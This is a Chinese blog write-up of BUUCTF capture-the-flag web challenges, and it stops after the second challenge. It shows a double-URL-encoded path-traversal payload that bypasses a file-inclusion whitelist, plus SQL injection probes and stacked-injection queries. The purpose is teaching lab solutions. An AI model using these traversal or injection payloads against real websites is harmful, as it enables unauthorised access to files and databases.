BUUCTF-WriteUp

本文是关于CTF比赛的一些WriteUp,涵盖了Web领域的挑战,涉及文件包含漏洞和SQL注入。作者详细解释了如何利用源码审计、payload构造及解码、堆叠注入、预处理语句等技巧来解决各种问题,如 WarmUp 中的文件包含绕过,随便注的SQL堆叠注入,EasySQL1的万能密码,以及LoveSQL1的登录与数据库信息泄露。
摘要由CSDN通过智能技术生成

title: BUUCTF WriteUp
date: 2021-01-16 17:44:59
tags: CTF WriteUP

WEB

[HCTF 2018]WarmUp

启动环境,打开网址是一张滑稽,没什么用,看一下源码,发现有注释。

image-20210116175203912

访问source.php,直接给了源码,进行代码审计。

分两块,第一块是emmm::checkFile,里面做了一些判断。

第二块是一个include,文件包含,我们要绕过验证,也就是上面的checkFile方法。

image-20210116180701150

hint.php

image-20210116182826228

include触发的三个判断条件全为真时,include才执行。

checkFile为真

第一个if,page需要设置并且为字符串

第二个if,page需要在白名单中

_page是page从开始到?的位置截取的一段子串

第三个if,_page需要在白名单中

_page进行url解码

_page再进行相同截取

第四个if,_page需要在白名单中

所以我们构造payload的时候,需要反着来构造,需要截取,就添加,需要url解码,我们就进行编码

首先构造以下命令,保证最后_page在白名单中

?file=source.php

接下来构造出include的flag

?flie=source.php?/../../../../../../../ffffllllaaaagggg

然后url编码两次

?file=source.php%253F/../../../../../../../ffffllllaaaagggg

payload就构造完成了。

[强网杯 2019]随便注

开局就是一个输入框,先看看简单的注入,判断出闭合符为单引号

1' //报错
1'# //正常
1' and 1=1# //正常
1' and 1=2# //正常,false

接下来获得列数,列数为2

1' order by 1#
1' order by 2#
1' order by 3# //报错

尝试用select,发现被过滤

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

到这里就没思路了,看wp,是堆叠注入,就是一次执行多条命令,之间用分号分隔

1';show databases;#

image-20210118190706722

下来查表

1';show tables;#

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值